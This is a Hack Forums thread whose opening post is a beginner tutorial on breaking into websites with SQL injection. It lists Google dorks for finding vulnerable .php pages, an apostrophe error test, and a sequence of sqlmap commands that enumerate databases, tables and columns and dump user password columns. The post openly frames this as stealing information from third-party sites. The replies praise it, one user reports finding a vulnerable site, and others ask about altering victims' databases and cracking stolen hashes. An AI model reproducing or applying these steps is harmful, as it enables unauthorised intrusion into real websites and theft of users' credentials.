

Forum:[Hack Forums](#)

Thread: [\[HOT TUTORIAL 2016\] How to hack a website! \[SQL Injection - Kali Linux\]](#)

SilentkillarHF - December 5, 2015, 11:02 am

Greetings, Hackforums!

My name is Silentkillar, and in this thread I will try to make a detailed and understandable tutorial on how to hack into a website's database, with sqlmap. I will try to explain as much as I can, of what I am doing. So let's just get started.

Before we start

Before I start this tutorial, I wanna recommend using Kali Linux on a virtual machine, as I find it the most useful. We will be using a tool called sqlmap, which is in Kali Linux. You can ofcourse download the tool from their website instead, if you don't want to use Kali. Sqlmap is an automatic SQL injection tool, which I personally prefer instead of doing a manual SQL injection, because I think it's faster, and you don't really need any skills in using codes. I think it's simple and easy to use! But let's get down to business!

Finding a vulnerable site!

To find a vulnerable site you will need some dorks. You can write a dork in google search, to find something specific. In our case we will be attacking a .php site.

A dork to find vulnerable .php sites could be:

Code `inurl:catalog.php?id=`

`inurl:category.php?c=`

`inurl:search.php?id=`

`inurl:index.php?id=`You can try to type one of the dorks above in google search.

Whenever you found a website with one of these dorks in their url, you can test if it is vulnerable or not. To do that make an apostrophe in the ending of the url

Example:

Code `vulnerablesite.com/category.php?c=23'`When you wrote a ' (apostrophe) in the link, hit Enter. If a MySQL error appears somewhere on your screen/website, you've found a vulnerable spot on the website!

But if a MySQL doesn't appear, it isn't vulnerable. So just keep looking on google untill you find a vulnerable website! :)

Now that we found our vulnerable spot, we're ready to move on to the next step!

Getting their database names!

Now we need to get in their database and get some goodies of information, which is the exciting part! ;P. So boot up Kali Linux and open a terminal!

When you've opened a terminal, type in:

Code `sqlmap -u YOURVULNERABLEWEBSITE --db`So what does this mean and do you ask?

Well, first we tell our terminal that want to use sqlmap.

Then we use the option "-u", I usually like to tell that it's the option for using a link, which we are, and that it stands for "URL" ;D.

Then you paste in your vulnerable website, example: `Code vulnerablesite.com/category.php?id=1`
Then we use the option "--dbs". When people ask why I do the double dashes, I tell them that a single dash is when you know some information already and want to find out more about what's inside that information. And the double dashes is when you want to find out something. And in our case, we want to find out the names of their databases, so we use double dashes and then "dbs" which stands for "databases"

After you've hit enter alot of text will start being written. If any white texted messages pop up, you usually wanna type "y" for yes if you wish to continue. You just wait untill it stops and looks like this:

This means that we have succesfully found the websites databases!

Usually there's a database called "Information_schema", and there's no useful information in there, so try some of the other databases you might have found.

Congratulations on your first hacked website.

But we're not totally done yet. What do I do now you ask?.

We steal information! Which leads us to the next step!:

Finding the tables of the databases!

To find the tables of the databases you will need to write some more on the code you wrote earlier. So type hit the up-arrow on your keyboard to bring up the code you just wrote before. Then we need to edit it a bit.

Change it to this:

`Code sqlmap -u YOURVULNERABLEWEBSITE -D DATABASENAME --tables` We basicly edited the "--dbs" to "-D", and after "-D" we put the database name. Remember my little rule about the single/double dashes? If not, go read it again! :). Basicly we know the database now, which means a single dash. But we want to find out the tables, and because it's something we wanna find out, we do double dash and then tables. Here's a little example of how the code could look now: `Code sqlmap -u vulnerablesite.com/category.php?id=1 -D database123 --tables` So hit enter when you have written it in. Alot of text will appear, which is because it's working ofcourse xD.. But you just wait untill it finished and you can see the database names!

You've succesfully found the tables inside your chosen database. Now you wanna look for some interesting tables. In the picture above, then in my case it would be the table "user". There might be user informations like usernames, passwords, emails, etc. So choose a table that looks interesting, and we'll be moving on to the next step!

Finding the columns of the tables!

We'll be finding the columns of the table we chose to be interesting. So hit the up-arrow once again to bring up the code you just used before. Now we need to edit the code a bit, just like the last time. It will now look like this:

`Code sqlmap -u YOURVULNERABLEWEBSITE -D DATABASENAME -T TABLENAME --columns`
We basicly edited the "--tables" to "-T". If you remember my little dash rules, then single is when you already know the information, and double is when you wanna know somthing. But since we already know the table name, it will be a singe dash.

Then after "-T" we wrote our table name.

After we wrote our table name, we wrote "--columns". We use double dash because we wanna find out something. This code could look like this:

`Code sqlmap -u vulnerablesite.com/category.php?id= -D exampledatabase -T user --columns` Hit enter, and it will start working again. After a couple of seconds you should be able to see the columns!

We now have found our columns, and as you can see above, I've found ALOT of interesting things like email, ip, moderator, password and username. These could be interesting to know what's inside!

So let's move on the the last step!

Getting the informations inside the columns

So we found some pretty interesting things in the tables. Now we want to find out what they contain. So let's hit the up-arrow button once again and change the code a bit.

Code sqlmap -u YOURVULNERABLEWEBSITE -D DATABASENAME -T TABLENAME -C COLUMNNAME --dump So we changed "--columns" to "-C", I guess and HOPE you understood the little dash rule, so now it will make sense why we changed it! :D.

Then we wrote our column name.

And then we wrote "--dump"

It would look like this:

Code sqlmap -u vulnerablesite.com/category.php?id= -D exampledatabase -T user -C passwords --dump So hit that enter button, and get your wanted informations!

It will again start working, and after some seconds your wanted information comes up.

You succesfully got into a websites database and found some information!

Hope you learned something!

Thanks for reading!

- Silentkillar

It took me many hours to make a perfect guide, with pictures and goods. But when I tried posting it, it said I needed 50 posts to have images.. :(

Had to edit it alot until it let me post it! But.. Hope you understood it all anyway! :)

- Silentkillar

GOD OF SARADOMIN - December 5, 2015, 11:04 am

well well well , if there no copy paste i I VOUCH for you , thanks though

SilentkillarHF - December 5, 2015, 11:09 am

(Dec 5, 2015 12:04 PM)GOD OF SARADOMIN Wrote: [\[CITE\]](#) well well well , if there no copy paste i I VOUCH for you , thanks though

It is all written by me :) And thanks alot!

- Silentkillar

Iterator - December 5, 2015, 11:13 am

Well written tutorial, thanks

GOD OF SARADOMIN - December 5, 2015, 11:22 am

(Dec 5, 2015 12:09 PM)SilentkillarHF Wrote: [\[CITE\]](#) It is all written by me :) And thanks alot!

- Silentkillar

Ok Great Work Then KEEP HQ

SilentkillarHF - December 5, 2015, 11:52 am

(Dec 5, 2015 12:22 PM)GOD OF SARADOMIN Wrote: [\[CITE\]](#) Ok Great Work Then KEEP HQ I will definetly do :)

(Dec 5, 2015 12:13 PM)m__m Wrote: [\[CITE\]](#) Well written tutorial, thanks You're welcome! :)

Aakash_Choudhary - December 6, 2015, 3:40 am

(Dec 5, 2015 12:22 PM)GOD OF SARADOMIN Wrote: [\[CITE\]](#) Ok Great Work Then KEEP HQ

There is nothing much which can make it HQ ?

Infact you will get more than this if you visit pastebin site and type sqlmap tutorial and we will get much better tutorial on this

TheGodOfGodz - December 6, 2015, 4:27 am

Vouch for this "hero"! Best tutorial!

CyberError - December 6, 2015, 5:59 am

best tut on hf ///// Thump up for you

swaggy_P_38 - April 25, 2016, 3:23 pm

the sqlmap wont work for me?

The Kraken - April 25, 2016, 3:30 pm

Nice tutorial man, keep up the HQ posts!

sam786000 - April 27, 2016, 5:29 am

thanks for the information

equi_gonzales13 - November 7, 2016, 11:32 pm

Good job OP ! Couldn't be explained better

PrO_KiLeR - November 8, 2016, 12:21 pm

SQLi i so old methode... i don't think sites still use it

CountZer0 - November 8, 2016, 10:23 pm

Bookmarking this for later use, thanks

xinf - November 13, 2016, 4:10 am

Thanks it very good tutorial i found vulnerable site on some minutes

criptonne - November 13, 2016, 12:48 pm

Merci.Espérant que cela puisse m aide dans ma quête du savoir et d un p'tit chouia de pouvoir..!

Omicron. - November 14, 2016, 5:07 am

great work, bookmarked :D

mandapex - November 14, 2016, 6:49 pm

Hi, thanks for your effort. Very nice

kamrulahsan06 - November 17, 2016, 4:29 am

Very HQ. Thanks OP ?

dannymc24 - May 6, 2017, 9:31 am

Wow! What an amazing tutorial especially for the noobs! Looking forward to additional HQ tuts and post from you.

prof1le - May 24, 2017, 4:09 pm

I just learnt a lot thanks to this tutorial. Let's try this out. Thanks pal.

EDIT: How long is it supposed to take ? I've been watching the time go by waiting for all those "tests" to finish, erm

HF 420 - May 28, 2017, 6:10 am

Very informative and well written tutorial mate, will definately be playing around with this when I get on my PC next :)

HaveFun3333 - June 2, 2017, 7:39 am

Thank you for this TUT , I very appreciate it.

Chimi - June 14, 2017, 1:15 pm

How to edit the database and its entries after knowing all.? If i would like to add my own information in the database so how it would be?

0sys - June 15, 2017, 9:01 am

u will need md5/md4/sha1 Cracker for the password....

i use to do this shit long time ago...

Chimi - June 15, 2017, 3:19 pm

can you give me an idea how to?

provider - June 16, 2017, 4:16 am

well i gonna say this tut is amazing

Chimi - June 16, 2017, 11:25 am

i am trying and following the same instructions but i am not successful how to can u PM me please?